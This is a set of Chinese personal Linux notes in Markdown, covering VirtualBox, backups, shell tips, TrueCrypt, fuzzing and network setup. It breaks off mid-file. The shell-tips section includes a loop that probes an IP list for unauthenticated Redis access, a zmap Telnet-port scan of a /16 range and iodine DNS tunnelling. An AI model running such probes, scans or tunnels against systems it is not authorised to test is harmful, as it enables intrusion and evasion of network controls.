VBoxManage modifyvm ubuntu --cpus 4 --memory 2048 --acpi on --boot1 dvd --nic1 nat --cableconnected1 on --vrde on --vrdeport 3389
```
以下是我安装CentOS 6.8 32bit minimal的过程
```
pushd /root
curl -O http://mirrors.zju.edu.cn/centos/6.8/isos/i386/CentOS-6.8-i386-minimal.iso
mkdir /home/virtualbox
#看看ostype支持哪一些,结果发现有RedHat,就选它咯
VBoxManage list ostypes
VBoxManage createvm --name centos --ostype "RedHat" --register --basefolder /home/virtualbox/
pushd /home/virtualbox
VBoxManage createvdi --filename centos/disk.vdi --size 2048 # 2GB
VBoxManage storagectl centos --name storage_controller_1 --add ide
VBoxManage storageattach centos --storagectl storage_controller_1 --type hdd --port 0 --device 0 --medium centos/disk.vdi
VBoxManage storageattach centos --storagectl storage_controller_1 --type dvddrive --port 1 --device 0 --medium /root/CentOS-6.8-i386-minimal.iso
#配置CPU和内存限制,光驱启动,允许多个客户端连接
VBoxManage modifyvm centos --cpus 1 --memory 512 --acpi on --boot1 dvd --nic1 nat --cableconnected1 on --vrde on --vrdeport 13389 --vrdemulticon on
```
## 启动虚拟机
```
nohup VBoxHeadless -startvm ubuntu --vrde on -e TCP/Ports=63389 &
```
## 控制虚拟机
Windows下使用`mstsc`远程连接即可获得一个图形界面的终端完成系统安装
## 删除硬盘
```
VBoxManage storageattach centos --storagectl storage_controller_1 --type hdd --port 0 --device 0 --medium none
VBoxManage closemedium centos/disk.vdi
rm centos/disk.vdi
```
## 运行条件下修改端口映射
```
# 首先通过mstsc物理接触虚拟机,确认ifconfig已经得到ip
# 否则需要在虚拟机中执行 ifconfig -a 查看网卡,执行 dhclient eth0 获得ip
# 例如我们需要将虚拟机的22端口映射出10022端口
# 最后一个参数的格式:规则名称,tcp还是udp,主机的IP(不填就好),主机暴露出来的端口,虚拟机的IP(不填就好),需要映射的虚拟机端口
VBoxManage controlvm 虚拟机名称 natpf1 ssh,tcp,,10022,,22
```
## 运行条件下关闭远程控制
系统安装好了,SSH开了,SSH的端口映射可以连上去了,就可以关掉远程控制了
```
VBoxManage controlvm 虚拟机名称 vrde off
```
## 屏幕截图
```
VBoxManage controlvm <vm name> screenshotpng /tmp/<filename>.png
```
## 优雅的关机
```
vboxmanage controlvm 虚拟机名称 poweroff soft
```
## 开启vrde远程桌面
似乎需要先关机才能操作
```
VBoxManage modifyvm "VM name" --vrdeextpack default
VBoxManage modifyvm "VM name" --vrde on
VBoxManage modifyvm "VM name" --vrdeport 3391
VBoxManage modifyvm "VM name" --vrdeaddress 0.0.0.0
```
## 从硬盘+快照vdi文件恢复
假设备份的时候只复制了硬盘vdi文件和Snapshots的vdi文件,而忘记了备份vbox文件,如何恢复快照关系呢
找到 https://superuser.com/questions/1224554/recreate-virtualbox-machine-with-snapshots ,思路是创建个新的虚拟机 从base vdi开始打快照->编辑vbox将新的Snapshot指向下一个快照->继续打快照重复
其中就需要我们搞清楚快照的依赖关系,看文件修改的时间戳差不多可以知道,但如果没有这种信息也不必按照人家说的一个个加载尝试,可以使用[这篇](https://superuser.com/questions/437767/how-to-merge-arbitrary-snapshot-into-base-vdi-in-virtualbox)说到的`VBoxManage internalcommands dumphdinfo`来查看每个快照文件的parent是谁。
================================================
FILE: Linux-backup.md
================================================
# 备份 备份 备份!
一个良好安全的备份计划至关重要,备份脚本应该导出数据库、压缩日志和动态产生的数据文件,加密后上传至其他服务器或CDN
----
## Demo
下面的例子涉及到date、docker、tar、zip、七牛qshell命令的使用
```bash
# !/bin/bash
pushd 工作目录
d=`date +%Y%m%d`
mkdir bakup$d
cd bakup$d
(docker exec 容器名称 mysqldump -p密码 数据库名称) >database.sql
tar cvzf log.tar.gz ../log # 压缩log目录
cd ../
# 使用zip加密压缩,压缩后删除原文件
zip -r -P 压缩密码 -m bakup$d.zip bakup$d/
# 使用七牛的qshell上传备份文件,运行前需要配置账号qshell account 你的AK 你的SK
# 下面这条命令表示将bakup$d.zip上传,CDN上存储的文件名为$d.zip
./qshell fput 你的bucket的名称 $d.zip bakup$d.zip
# 如果你放心可以本地彻底删掉备份文件:
# rm -r bakup$d.zip
```
----
## 用rsync代替scp
rsync可以断点续传,不如就用rsync代替scp
参考:[https://www.digitalocean.com/community/tutorials/how-to-copy-files-with-rsync-over-ssh](https://www.digitalocean.com/community/tutorials/how-to-copy-files-with-rsync-over-ssh)
首先需要ssh-keygen生成id_rsa,把id_rsa.pub的内容复制到目标机器的~/.ssh/authorized_keys
在需要使用scp -r的地方改为rsync -avz -e "ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" --progress
----
## tar备份整个系统
比如通过远程ssh的方式下载到服务器的整个根目录打包:
```
ssh server tar -cvpz --one-file-system / > server_backup.tar.gz
```
其中:
- c 创建
- v 压缩时显示详情 当前处理的文件
- p preserve-permissions保留权限信息
- z 使用gzip压缩
## 使用rsync像time machine一样全盘备份
https://github.com/laurent22/rsync-time-backup
例如将Linux服务器多个硬盘所有文件备份到/nas/hostname下面
先从github下载这个[rsync_tmbackup.sh](https://github.com/laurent22/rsync-time-backup/raw/master/rsync_tmbackup.sh)文件,删掉其中的` --one-file-system`,放入/nas目录
将需要忽略的目录写成/nas/rsync_ignore.txt,例如:(注意忽略了/mnt)
```
- /boot
- /dev
- /lost+found
- /media
- /mnt
- /nas
- /nfs
- /proc
- /snap
- /sys
- /tmp
```
然后就执行呗:
```
mkdir -p /nas/hostname
touch /nas/hostname/backup.marker
/nas/rsync_tmbackup.sh / /nas/hostname/ /nas/rsync_ignore.txt
```
好处是不用自己构造rsync各种复杂的参数,备份的效果是每次备份都会产生一个文件夹,但上次备份时已经存在的文件只会做硬链接
### rsync备份到非root用户的目标机器上
参考: https://serverfault.com/questions/755753/preserve-ownership-with-rsync-without-root
全盘备份希望能保留文件的属性,如果目标位置没有root用户则不能直接保留,rsync提供了`--fake-super`这个选项
这个`--fake-super`选项启用后,rsync会把属性以特殊拓展属性的方式存储,恢复的时候rsync会利用这个属性进行恢复
## rsync备份安卓手机
参考: http://ptspts.blogspot.com/2015/03/how-to-use-rsync-over-adb-on-android.html
首先保证手机的usb调试开启了,adb shell能进入手机,在Linux主机上执行:
```
# 将rsync二进制发给手机
wget -O rsync.bin http://github.com/pts/rsyncbin/raw/master/rsync.rsync4android
adb push rsync.bin /data/local/tmp/rsync
adb shell chmod 755 /data/local/tmp/rsync
adb shell /data/local/tmp/rsync --version
# 在安卓上启动rsync server 监听在1873端口,转发到Linux的6010端口
adb shell 'exec >/sdcard/rsyncd.conf && echo address = 127.0.0.1 && echo port = 1873 && echo "[root]" && echo path = / && echo use chroot = false && echo read only = false'
adb shell /data/local/tmp/rsync --daemon --no-detach --config=/sdcard/rsyncd.conf --log-file=/proc/self/fd/2
# 再启动一个终端继续
adb forward tcp:6010 tcp:1873
# 复制整个/sdcard目录
rsync -avzP --stats rsync://localhost:6010/root/sdcard/ .
```
================================================
FILE: Linux-cli.md
================================================
# Linux命令行操作技巧
本文档一般不涉及root权限,Linux相关笔记还有:
[Linux系统配置](Linux-setup.md)
[SSH远程登录](Linux-SSH.md)
[Linux备份](Linux-backup.md)
----
## 查看内置命令的帮助
将以下内容加入`~/.bashrc`中即可,判断如果在内置命令就调用help -m,不是则绕开bash函数来运行man进程
```sh
man () {
case "$(type -t -- "$1")" in
builtin|keyword)
help -m "$1" | sensible-pager
;;
*)
command man "$@"
;;
esac
}
```
----
## grep搜索帮助文档
用两个横线`--`作为grep的第一个参数表示不要把其后面的形如`-z`的参数当成grep的参数
例如我想知道tar命令中的-z是什么意思:
```bash
man tar|grep -- -z
```
## 帮助文本的grep,把stderr重定向到stdout
某些时候帮助文本是输出到标准错误输出的,需要用2>&1这样的重定向咯
ssh-keygen --help 2>&1|grep bit
----
## 各种解压命令
tar.gz: `tar -zxvf xx.tar.gz`
tar.bz2: `tar -jxvf xx.tar.bz2`
zip:`unzip xx.zip`
参数含义:
-x解压,-v详细显示解压出来的东西(如果是一个复杂的压缩包建议不要用以加快解压速度),-f后接压缩文件的文件名
----
## 当前目录文件全文搜索
这里要搜索当前目录下面所有的包含"MultiTeam"文件
grep MultiTeam -r .
----
## 统计当前文件夹代码行数
find 指定文件后缀名,记住要引号避免bash解析*
find -name "*.py" -o -name "*.md"|xargs cat|wc
----
## 查看给定文件列表的文件大小
用xargs -d指定分隔符为\n(默认会按照空格和\n分隔参数)
```
cat list.txt | xargs -d "\n" ls -alh
```
----
## wget慢慢下载
```
wget -i list.txt -nc --wait=60 --random-wait
```
其中nc表示已经下载到的文件就不要再请求了,wait=60表示两次请求间隔60s,random-wait表示随机等待2~120s
----
## touch修改时间戳
将b.txt的时间戳改为和a.txt一样
```
touch -r a.txt b.txt
```
----
## 去掉Ubuntu默认情况下ls的颜色
```
unalias ls
```
或者直接使用:Credits [@rachpt](https://github.com/rachpt)
```
\ls
```
同理也可以绕过grep的alias: `\grep`
----
## 换行方式修改
如果一个文件来自于Windows,可能需要先修改换行方式才能用,去掉文件中的\r
vim中输入 `:set ff=unix`
----
## iodine--使用DNS传输数据
>* http://code.kryo.se/iodine/
注意: 本方案网速极低,使用时要有足够的耐心,不能保证复杂情况下是否可行(尤其是Windows)
前期准备:一个域名(假设为example.com)及一台服务器(假设为1.2.3.4),建议客户端在Linux上运行
### 1. 设置域名解析
dns.example.com添加一条A记录,解析至1.2.3.4
t.example.com添加一条NS记录,值为dns.example.com
### 2. 服务器端
./iodined -f -c -P secretpassword 192.168.99.1 t.example.com
-f表示持续占用前台,-c表示不限制请求源,-P指定密码,最后是`内网IP`和使用的域名
内网IP可以随意指定,只要当前服务器没有占用即可,例如可以改为172.16.0.1
### 3.检查服务端是否正常
http://code.kryo.se/iodine/check-it/
作者提供了在线检查工具,输入t.example.com即可检查
### 4.客户端
建议在ubuntu等完整的Linux操作系统上运行,下载源码后make即可
./iodine -f -P secretpassword t.example.com
效果图:

----
## 远程控制Windows
Windows下有自带的mstsc,Linux如树莓派用啥呢?就用[rdesktop](http://www.rdesktop.org/)啦
手册查询用`man rdesktop`
快速使用:
```
sudo apt-get install -y rdesktop
rdesktop -f -k en-us -C -N -z -xl -P -u 用户名 -p 密码 服务器地址:端口
```
其中-f表示全屏, -k设置键盘布局, -C使用私有颜色表,-N同步NumLock,-z启用压缩,-xl 设置为LAN场景,-P使用bitmap缓存
注意上述在命令行中使用明文密码并不安全,可能被其他用户用ps等工具看到,建议仅仅在完全自己控制的Linux上系统上这样操作
----
## 统计以特定字符串开头的文件数目
awk是个很好用的工具呢,支持substr函数,用法为substr(源字符串,开始,长度),其中开始从1计数
`ls -l` 长列表显示的话,按空格分就是$9
```
ls -l|awk '{if(substr($9,1,字符串长度)=="你要的那个字符串") print $9}'|sort|uniq|wc -l
```
----
## hexdump查看字符内部编码
echo的-n参数表示不要末尾加\n
```
echo -n hello | hexdump -C
```
----
## 子目录大小排序
sort的-h表示按人类理解的大小格式排序,-r表示逆序
```
du -sh * | sort -hr
```
----
## 安装ffmpeg
在ubuntu14下是没有ffmpeg的官方包支持的,需要添加mc3man的ppa
```
sudo add-apt-repository ppa:mc3man/trusty-media
#按回车继续
sudo apt-get update
sudo apt-get install -y ffmpeg
```
----
## 保证脚本安全执行set -ex
`set`命令挺有用的呢,-e表示如果后面的语句返回不为0立刻结束shell,-x表示显示出每条命令及参数
从[人家的Dockerfile](https://github.com/Medicean/VulApps/blob/master/s/struts2/s2-032/Dockerfile)中学习得来
----
## change readonly bash variable
bash is a weird thing...
declaring a variable as reference by using `declare -n`, we can change it!
```
$ a=1
$ readonly a
$ a=2
bash: a: readonly variable
#Look here!
$ declare -n a
$ a=2
$ echo $a
2
```
----
## 永久等待 sleep infinity
有时写了一个sh文件后需要保持这个sh的运行,就用sleep永久等待好咯
```
sleep infinity
```
----
## zmap扫描整个网段特定开放端口
zmap的运行需要root权限,用`apt-get install zmap`即可安装
更详细的帮助去看看`zmap --help`咯
```
#需要先编辑黑名单 vi /etc/zmap/blacklist.conf 取消掉注释
zmap 192.168.0.0/16 -B1000M -i eth0 -g -T 4 -p 23 -o 23.txt
```
其中`-g`表示扫描结束后显示总结,`-T 4`表示启动4个扫描线程,`-p 23`表示扫描23端口,-o保存文件的名称
如果拨号了vpn,需要用-G指定网关的MAC地址,可以通过`arp 网关的IP`得到
----
## 对ip列表批量测试redis未授权漏洞
```
for i in `cat iplist.txt`; do (if [ `echo PING|redis-cli -h $i` == "PONG" ] ;then echo $i;fi);done 2>/dev/null
```
利用了bash支持的for语句,注意for之后的分号和最后的done
还有用了if字符串相等,记得要用fi结束if
redis-cli连接上服务器后发送PING,如果存在未授权访问漏洞则会返回PONG,否则会要求Auth或者其他报错信息
----
## 使用ImageMagick对图像进行裁剪
安装命令:`sudo apt-get install -y imagemagick`
处理一张图片in.png,裁剪成300x280大小,从(30,0)作为裁剪的左上角点,得到out.png:
```
convert in.png -crop 300x280+30+0 out.png
```
其实这四个参数是我反复尝试二分法得到的,或许可以用专业软件快速得到吧
关键是可以批量处理呀,这里下载friends的头像图片进行处理:
```
for i in {1..79}; do curl -o $i.png http://kemono-friends.jp/wp-content/uploads/2016/11/no`printf "%03d" $i`.png --proxy socks5://127.0.0.1:1080; done
for i in {1..79}; do convert $i.png -crop 300x280+30+0 $i.png; done
```
其中使用了printf命令,可以使得1变成人家url需要的001
----
## 查找0字节的文件并删除
```
find . -size 0 -delete
```
查找大于100M的文件:`find . -size +100M`
----
## 批量修改文件后缀名
将当前目录下(包含子目录)所有的txt文件改为.newext后缀:
```
find . -name "*.txt" -exec rename 's/.txt$/.newext/' {} \;
```
如果curl下载的时候允许gzip但忘了--compressed得到的文件是gzip压缩的,修改当前文件夹所有.txt为.txt.gz,然后解压缩:其中rename -v表示显示修改的列表
```
rename -v 's/.txt$/.txt.gz/' *.txt
gunzip *.gz
```
----
## 用vim去除\r换行符
用vim打开文件后,输入以下内容,冒号也是需要按的
```
:set ff=unix
:wq
```
----
## 不用free查看内存占用
在docker容器内部一般是不能通过`free -h`来查看真实占用的内存的,这时候可以采用`ps aux`累加RSS字段来估计:
```
ps aux | awk '{sum+=$6} END {print sum / 1024}'
```
----
## watch持续观察命令输出
例如我想持续查看output.txt文件大小:
```
watch -n 1 ls -l output.txt
```
其中`-n 1`表示每隔1s刷新一次
这个命令等价于自己写个bash脚本:
```
#! /bin/bash
while [ 1 ]
do
# do your work here...
sleep 1
clear
done
```
----
## 树莓派2上编译Truecrypt 7.1a,使用make -j5 -l4加速编译
参照[http://davidstutz.de/installing-truecrypt-raspbian/](http://davidstutz.de/installing-truecrypt-raspbian/),一步步来就行啦
具体步骤如下,其中make使用参数`-j5 -l4`表示同时执行5个编译但限制系统负载<4(因为编译过程很慢,直接make只会使用1个CPU,这样设置后可以充分利用树莓派4核心CPU):
涉及的压缩包[truecrypt-targz.zip](https://d.py3.io/truecrypt-targz.zip),[wxWidgets-2.8.11.zip](https://d.py3.io/wxWidgets-2.8.11.zip),[pkcs.zip](https://d.py3.io/pkcs.zip)
```
apt-get install -y unzip build-essentials pkg-config gtk2.0-dev libfuse-dev
#用unzip解压压缩包,都解压到/root下,目录结构:
# /root
# | - truecrypt-targz
# | - wxWidgets-2.8.11
# | - pkcs
cd wxWidgets-2.8.11
./configure
make -j5 -l4 #特别慢,耐心等待
make -j5 -l4 install
cd ../truecrypt-targz
export PKCS11_INC=/root/pkcs/
make -j5 -l4 NOGUI=1 WX_ROOT=/root/wxWidgets-2.8.11 wxbuild
make -j5 -l4 NOGUI=1 WXSTATIC=1
Main/truecrypt --version #输出TrueCrypt 7.1a
cp Main/truecrypt /usr/local/bin/
```
你也可以下载我已经编译好的版本[truecrypt-armv7l](https://d.py3.io/truecrypt-armv7l)
----
## scp目录断点续传
正在拷贝目录的时候被中断了(例如mount.ntfs卡死),而scp不能跳过已经存在的文件、只会覆盖;如果用rsync完全断点续传似乎会校验文件,太慢
方法是:删掉中断时正在拷贝的不完整文件,使用下述命令来跳过已经存在的文件:
假设要把远程目录/path/这个文件夹整个拷贝到/mnt/下(也就是内容拷贝到/mnt/path/下)
```
rsync --progress -v -au username@host:"'/path'" /mnt/
```
注意源路径/path后面不能有/,否则rsync不会创建/mnt/path这个文件夹;/path被两层引号包围是为了支持含有空格的文件夹名称,一层是本地命令,远程目录也要一层
rsync的`--progress -v`参数表示显示当前进度和更多内容,`-a`表示archive递归并尽可能原样保留所有信息,`-u`表示跳过已经存在的文件
[查看man文档 explainshell.com](https://www.explainshell.com/explain?cmd=rsync+--progress+-v+-au+username%40host%3A%22%27%2Fpath%27%22+%2Fmnt%2F)
----
## 使用wget代替scp传输文件夹 避免无谓的加密性能损失(适用于树莓派)
在内网传输非敏感数据时,没有必要使用scp(基于ssh)的安全传输,尤其是树莓派这种计算性能有限的情形。使用HTTP能有效加速传输过程,且部署简单,相比配置复杂的vsftpd可以说是很简单了
#### 服务端(数据传出端)
使用nginx配置允许列目录即可,在/etc/nginx/sites-enabled/下添加一个文件:
```
server{
listen 8080;
root /path/to/your/dir;
autoindex on;
autoindex_exact_size off;
autoindex_localtime on;
}
```
如果你不具有root权限,可以复制一份nginx.conf,修改其中出现的所有你没有权限修改的文件路径,例如access_log,然后使用`nginx -c /home/yourname/nginx.conf`(注意必须绝对路径)启动你的nginx,没有出现EMRG错误即为启动成功(可以使用netstat -pant观察是否成功监听端口)
#### 客户端(数据传入端),使用wget:
```
alias myget='wget -r -np -nH -R index.html --restrict-file-names=nocontrol -p -N -l0 -e robots=off --read-timeout=20 --tries=0'
cd /mnt #下载到哪
myget http://server_IP:8080/yourdir #相当于将yourdir复制到当前文件夹
```
参数说明:
-r 递归下载,-np不要进入父目录,-nH不要创建host文件夹,-R index.html不要保存文件列表的index.html,--restrict-file-names=nocontrol不要乱改中文文件名
-p 要下载图片,-N 使用浏览器304的方式避免重复下载,-l0递归层数不限制,-e robots=off不检查robots.txt
--read-timeout=20 如果20s之内没有数据传输则认为失败进行重试,--tries=0无限次重试
[查看man文档](https://www.explainshell.com/explain?cmd=wget%20-r%20-np%20-nH%20-R%20index.html%20--restrict-file-names=nocontrol%20http://yourserver:8080/yourdir)
----
## 清除已经断开的sshd进程
如果你发现ps aux或netstat -pant输出了大量sshd的信息,说明之前ssh连接断开后sshd并没有退出而是一直占用内存
我们可以清除掉这些进程来释放内存
首先通过`pstree -p`来查看当前你的ssh会话的sshd进程PID,例如输出了这样一行:
```
├─sshd(32275)───bash(32413)───pstree(6543)
```
则说明当前sshd的pid为32275,然后执行下面这条命令来kill -9其他所有的sshd进程:
```
ps -ef | grep sshd | grep -v 32275 | grep -v grep | awk '{print "kill -9", $2}' |sh
```
Hint: 如果当前主机还运行着Docker容器,如果容器的守护进程是sshd,上一条命令可能使容器退出;所以你还需要`docker top`来确定容器的sshd在主机上的pid号
----
## 批量替换文本
例如批量递归替换当前文件夹及子文件夹所有php文件,将其中的"aha/666"改为"ovo/999"
命令如下:
```
find . -type f -name "*.php" -exec sed -i 's~aha/666~ovo/999~g' {} +
```
其中sed -i原位替换用的分隔符由于替换前后字符串中出现了/,所以不能用经典的/,而改用~
----
## 找到最近修改的文件
例如wget递归下载,中途被中断了,恢复的时候与其每个文件都请求一次不如直接跳过已经存在的文件
那就需要找到中断的时候正在写入哪个文件,删掉这个文件继续
这个命令可以以时间顺序显示当前文件夹及子文件夹文件,新文件显示在最前面
```
find . -type f -printf '%TY-%Tm-%Td %TT %p\n' | sort -r|less
```
----
## 使用cryptsetup挂载truecrypt分区
在ubuntu 16.04中编译truecrypt 7.1a运行时出现错误:`error: Invalid characters encountered.`
在这个链接上找到了答案(感谢在其他论坛找到答案后主动提供解决方案的Jakub Urbanowicz)
https://bugs.archlinux.org/task/47325
原贴地址(搜索cryptsetup):https://forums.gentoo.org/viewtopic-p-7809512.html
方法是:
```
sudo su #以下命令都要root权限,如果在Docker容器中尝试 启动容器时需要--privileged
# 先安装cryptsetup
apt install -y cryptsetup-bin
# 挂载,注意type前面是两个横线,文件路径可以是/dev/sdb1,名称随便填
cryptsetup open --type tcrypt truecrypt文件路径 名称
# 然后mount挂载
mount /dev/mapper/名称 挂载点
# 卸载的时候记得close,都还是要root权限
umount 挂载点
cryptsetup close 名称
```
----
## 从二进制文件中提取片段
用binwalk发现需要的片段的起始位点,以及计算出长度
binwalk直接-e有时候就能满足需求,但如果是exe文件 exe本身可能被拆成多个文件 如一堆证书,这时候可以
```
binwalk -D 'exe' 文件名
```
或者用dd,注意别用bs=1 太慢:
```
dd if=input.binary of=output.binary skip=$offset count=$bytes iflag=skip_bytes,count_bytes
```
From: https://stackoverflow.com/questions/1423346/how-do-i-extract-a-single-chunk-of-bytes-from-within-a-file
如果省略掉count就是一直到末尾
----
## redis匹配前缀删除大量键值
FROM: https://stackoverflow.com/questions/4006324/how-to-atomically-delete-keys-matching-a-pattern-using-redis
删除当前数据库中prefix开头的所有key:
```
EVAL "local keys = redis.call('keys', ARGV[1]) \n for i=1,#keys,5000 do \n redis.call('del', unpack(keys, i, math.min(i+4999, #keys))) \n end \n return keys" 0 prefix*
```
----
## 批量替换子目录特定后缀名文件内容
使用`sed -i` 和`find`
例如本站编译脚本在mkdocs编译后对所有.html文件执行替换,改用国内CDN
```
sed -i 's#cdnjs.cloudflare.com#cdnjs.loli.net#g' $(find -type f -name "*.html")
sed -i 's#fonts.googleapis.com#fonts.loli.net#g' $(find -type f -name "*.html")
```
----
## coredump in fuzzing
参考: http://man7.org/linux/man-pages/man5/core.5.html
为啥afl要求我们`echo core >/proc/sys/kernel/core_pattern` 呢? fuzzing时怎么避免产生coredump产生大量IO浪费时间?
### core_pattern是啥
这个文件`/proc/sys/kernel/core_pattern`是命名coredump文件的模板,比如改为`core`之后产生的coredump文件就叫做`core`
另一个文件`/proc/sys/kernel/core_uses_pid` 如果是1的话,还会加上`.pid`
### 怎么才能不产生coredump
全局关闭:
```
echo >/proc/sys/kernel/core_pattern
echo 0 >/proc/sys/kernel/core_uses_pid
```
还可以在当前目录`mkdir core`,有了同名文件夹就不会再写core文件了
fuzzer可以用rlimit的功能限制子进程:
文档说了`RLIMIT_CORE`这个限制,只要它是0就不会产生了,比如[AFL的代码](https://github.com/mirrorer/afl/blob/2fb5a3482ec27b593c57258baae7089ebdc89043/afl-fuzz.c):
```
/* Dumping cores is slow and can lead to anomalies if SIGKILL is delivered
before the dump is complete. */
r.rlim_max = r.rlim_cur = 0;
setrlimit(RLIMIT_CORE, &r); /* Ignore errors */
```
再比如[honggfuzz的代码](https://github.com/google/honggfuzz/blob/af7a92b9a644d1cc75b415351d9cb2a52eadefcf/subproc.c)(honggfuzz-1.7并没有考虑这个):
```
/* in cmdline.c */
{ { "rlimit_core", required_argument, NULL, 0x103 }, "Per process RLIMIT_CORE in MiB (default: 0 [no cores are produced])" },
/* in subproc.c */
#ifdef RLIMIT_CORE
const struct rlimit rl = {
.rlim_cur = run->global->exe.coreLimit * 1024ULL * 1024ULL,
.rlim_max = run->global->exe.coreLimit * 1024ULL * 1024ULL,
};
if (setrlimit(RLIMIT_CORE, &rl) == -1) {
PLOG_W("Couldn't enforce the RLIMIT_CORE resource limit, ignoring");
}
#endif /* ifdef RLIMIT_CORE */
```
-----
## bash对文件乱序遍历
```
shuf filename|while read line; do python3 run.py "$line"; done
```
## grep查找中文
```
ls /tmp/test | grep -P '[\p{Han}]'
```
参考 https://www.regular-expressions.info/unicode.html#script
-------
## grep正则提取特定内容
场景:fuzzing lava 测试集,做了30次重复(每次重复文件夹名称末尾为`_重复`),已经将crash运行得到的stdout和stderr存储为文件,想统计每次重复触发了多少bugid
换句话说,已知当前文件夹下有一些可能被当成二进制的文本文件,包含`Successfully triggered bug 576, crashing now!`,我想将其中的576提取出来,然后对整个文件夹计数
注意grep的时候一定要--text,不然会漏掉一些文件
用到了grep的正则提取,前置判断用`(?<=文本)`,后置判断用`(?=文本)`,例如提取`aaa123bbb`中的123就可以:`echo aaa123bbb|grep -P '(?<=aaa)\d+(?=bbb)' -o`
其中`-P`表示正则语法为Perl,`-o`表示只显示匹配
参考: https://unix.stackexchange.com/questions/13466/can-grep-output-only-specified-groupings-that-match
```
for i in `seq 1 1 30`; do
if [ -d *_${i}/ ]; then
(cd *_${i};
echo $i `grep 'Successfully triggered bug' -r . --text \
| grep -P '(?<=bug )(\d+)(?=,)' -o \
|sort| uniq|wc -l`
);
else
echo ${i} 0;
fi;
done
```
-----
## 自动kill大内存的进程
列举所有进程,找出内存超过5%的,kill掉
注意到sort比较数字大小需要用`-h`或者`-V`,否则会出现`3>20`的比较结果(字符串比较)
由于`[ "$num" -gt 5 ]`只支持num为整数的情况,所以用bc作浮点数大小判断,参考: https://stackoverflow.com/questions/8654051/how-to-compare-two-floating-point-numbers-in-bash
用`grep -v`设置白名单:docker, perl
```
while true; do
LINE=$(ps aux|grep -v docker|grep -v perl|sort -k4 -h|tail -n 1);
(( $( echo "`echo ${LINE}|awk '{print $4}'` > 5" |bc -l) )) && \
(echo $LINE;
kill `echo ${LINE}|awk '{print $2}'`);
sleep 5;
done
```
------
## screen自动操作以及获取当前屏幕内容
```
screen -dmS name /bin/bash
screen -S name -p 0 -X stuff "ls"`echo -ne '\r'`
screen -S name -p 0 -X hardcopy /tmp/test.txt
```
中文字符会有问题,待解决
------
## 编译当前文件夹所有.c文件
`${i%.*}` 去掉文件名的最后一个后缀
```
for i in *.c; do gcc $i -o out/${i%.*}; done
```
-------
## gdb自动化
```
echo -e "set pagination off\nset confirm off" > ~/.gdbinit
```
然后使用`gdb ./a.out -ex "r inputfile" -ex "bt" -ex "quit"`
-------
## mktorrent制作种子torrent文件
参考: https://community.seedboxes.cc/articles/how-to-create-a-torrent-via-the-command-line
```
sudo apt install mktorrent
mktorrent -v -a "http://tracker.nexushd.org/announce.php" -p folder -o folder.torrent -l 24
```
其中`-l 24`的意思是每个分块为2**24=16MB,这是建议的最大的值
-------
## 钉钉直播回放下载 m3u8转mp4
手机端用抓包软件 如HttpCanary,点开直播回放后会得到一个m3u8的地址,然后使用ffmpeg下载即可
参考:https://www.bilibili.com/video/av99036702/
https://gist.github.com/tzmartin/fb1f4a8e95ef5fb79596bd4719671b5d
```
ffmpeg -i http://dtliving-pre.alicdn.com/... -bsf:a aac_adtstoasc -vcodec copy -c copy name.mp4
```
-----
## 黑色背景ls 目录深绿色看不清改个颜色
Ubuntu系统编辑`~/.dircolors`: (其他系统`~/.dir_colors`)
```
DIR 01;36
```
或者执行:
```
eval `dircolors | sed -e 's/;34:/;36:/'`
```
----
## 部署seafile客户端
https://download.seafile.com/published/seafile-user-manual/syncing_client/install_linux_client.md
需要注意seafile-cli已经加入boinc官方源,但版本与ppa源不匹配
```
# apt install -y software-properties-common
add-apt-repository -y ppa:seafile/seafile-client
apt update
apt install seafile-cli -y
mkdir ~/seafile
seaf-cli init -d ~/seafile
seaf-cli start
# 重启后也需要自己手动启动
```
在网页端创建/打开资料库后从url复制得到id
客户端没有需要同步的文件时用download,有需要加入同步的数据用sync
```
seaf-cli download -l "the id of the library"
-s "the url + port of server"
-d "the folder which the library will be synced with"
-u "username on server"
[-p "password"]
```
登录用户名密码错误的时候报错是400,需要留意
----
## pcregrep正则提取
例如我们要提取some.htm中所有href属性中的html,使用普通的grep不能只提取单独的group。这里我们用pcregrep可以指定`-o`参数,还可以多次指定连续输出
```
# apt install -y pcregrep
pcregrep -o1 'href="([^\.]*\.htm)"' some.htm
```
-----
## 管道关闭缓冲
参考:https://harttle.land/2020/06/06/tail-f-pipe.html
grep 添加 `--line-buffered`,sed 添加 `-u`,awk 调 `fflush()`。
Shell 里可以通过 [ -t 1 ] 来判断 stdout(文件描述符 1) 是否是 TTY。 [More](https://rosettacode.org/wiki/Check_output_device_is_a_terminal)
例子:
```
tail -f log.txt | grep --line-buffered Error | sed -u 's/harttle//' | awk '${print $1; fflush()}' | grep ENOENT
```
-----
## 等待特定进程结束
例如并行启动编译进程,希望等待所有gcc结束:
```
while [ "`pgrep -c gcc`" -gt 0 ]; do
echo cnt: `pgrep -c gcc`
sleep 10;
done
```
================================================
FILE: Linux-setup.md
================================================
# Linux系统配置
本文档为Linux服务器的配置方面的笔记,Linux相关笔记还有:
[Linux命令行操作技巧](Linux-cli.md)
[SSH远程登录](Linux-SSH.md)
[Linux备份](Linux-backup.md)
TOC:
----
## 如何翻墙
## 部署shadowsocks客户端,并部署Privoxy提供http proxy
代码参见[ssprivoxy.txt](code/ssprivoxy.txt)
----
## 配置有线静态IP
```bash
vim /etc/network/interfaces
# 写入以下内容,请自行替换xx部分
iface eth0 inet static
address 10.xx.xx.13 #你需要设置的IP
netmask 255.255.255.0 #子网掩码
network 10.xx.xx.0
broadcast 10.xx.xx.255
gateway 10.xx.xx.254 #网关
dns-nameservers 10.10.0.21 #dns服务器
# 按Esc, :wq退出保存
service networking restart
ifconfig eth0 10.xx.xx.13 netmask 255.255.255.0 up
route add default eth0 #路由配置也很重要,错误的路由将导致不能访问
route add default gw 10.xx.xx.254 dev eth0 #这里设置为你的网关
```
注意使用ifconfig进行ip的修改后,会丢失路由信息、额外的ip设置,需要重新配置route(执行上述两条route命令即可)
## 配置为dhcp自动获取ip,解决RTNETLINK answers: File exists问题
之前已经配置过静态ip,现在要改为自动获取
```
dhclient eth0
```
出现报错RTNETLINK answers: File exists,解决方案:
```
ip addr flush dev eth0
```
## 配置apt源以加速国内环境下apt速度
curl http://mirrors.163.com/.help/sources.list.trusty>/etc/apt/sources.list
如果还未安装curl,先手动写入这两行:
```
deb http://mirrors.163.com/ubuntu/ trusty main restricted universe multiverse
deb http://mirrors.163.com/ubuntu/ trusty-security main restricted universe multiverse
```
> 注:vim复制一行的命令为yy,粘贴为p
或者通过sed替换:
```
